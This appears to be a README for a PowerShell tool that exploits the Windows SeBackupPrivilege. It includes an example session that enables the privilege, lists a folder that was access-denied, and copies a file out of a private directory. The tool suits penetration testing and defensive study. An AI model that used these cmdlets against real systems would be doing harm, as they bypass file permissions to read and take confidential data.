SeBackupPrivilege
On Windows, if a user has the "Back up files and directories" right, he gets assigned the SE_BACKUP_NAME/SeBackupPrivilege privilege. Such privilege is disabled by default but when switched on it allows the user to access directories/files that he doesn't own or doesn't have permission to. In MSDN's own words:
This user right determines which users can bypass file and directory, registry, and other persistent object permissions for the purposes of backing up the system.
In order to exploit SeBackupPrivilege you have to:
- Enable the privilege.
This alone lets you traverse (cdinto) any1 directory, local or remote, and list (dir,Get-ChildItem) its contents. - If you want to read/copy data out of a "normally forbidden" folder, you have to act as a backup software.
The shell
copycommand won't work; you'll need to open the source file manually usingCreateFilemaking sure to specify theFILE_FLAG_BACKUP_SEMANTICSflag.
This library exposes three PowerShell CmdLets that do just that.
Example usage
PS C:\scripts> Import-Module .\SeBackupPrivilegeUtils.dll
PS C:\scripts> Import-Module .\SeBackupPrivilegeCmdLets.dll
PS C:\scripts> Get-SeBackupPrivilege # ...or whoami /priv | findstr Backup
SeBackupPrivilege is disabled
PS C:\scripts> dir E:\V_BASE
Get-ChildItem : Access to the path 'E:\V_BASE' is denied.
At line:1 char:4
+ dir <<<< E:\V_BASE
+ CategoryInfo : PermissionDenied: (E:\V_BASE:String) [Get-ChildItem], UnauthorizedAccessException
+ FullyQualifiedErrorId : DirUnauthorizedAccessError,Microsoft.PowerShell.Commands.GetChildItemCommand
PS C:\scripts> Set-SeBackupPrivilege
PS C:\scripts> Get-SeBackupPrivilege
SeBackupPrivilege is enabled
PS C:\scripts> dir E:\V_BASE # ...having enabled the privilege, this now works
Directory: E:\V_BASE
Mode LastWriteTime Length Name
---- ------------- ------ ----
d---- 18/07/2013 13:04 Private
PS C:\scripts> cd E:\V_BASE\Private
PS E:\V_BASE\Private> dir
Directory: E:\V_BASE\Private
Mode LastWriteTime Length Name
---- ------------- ------ ----
----- 05/07/2013 12:29 306435 report.pdf
PS E:\V_BASE\Private> Copy-FileSeBackupPrivilege .\report.pdf c:\temp\x.pdf -Overwrite
Copied 306435 bytes
PS E:\V_BASE\Private>